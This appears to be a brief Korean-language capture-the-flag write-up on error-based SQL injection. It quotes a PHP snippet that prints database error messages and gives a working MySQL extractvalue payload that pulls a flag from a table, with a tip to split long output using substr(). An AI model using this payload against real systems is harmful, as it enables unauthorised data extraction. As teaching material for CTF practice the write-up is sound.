문제 개요
- SQL 오류 메시지가 그대로 노출되어 Error‑based SQL Injection이 가능합니다.
취약점 분석
if (!$result) {
die("쿼리 실행 오류: " . $conn->error);
}
익스플로잇 절차
-
플래그 추출
%' and extractvalue(1,concat(0x7e,(select flag from flag),0x7e)) -- -
- 길이 제한 시
substr()
로 분할하여 반복 요청합니다.
핵심 포인트
오류 메시지를 노출하는 구문이 있으면 Error‑based SQLi를 최우선으로 고려합니다.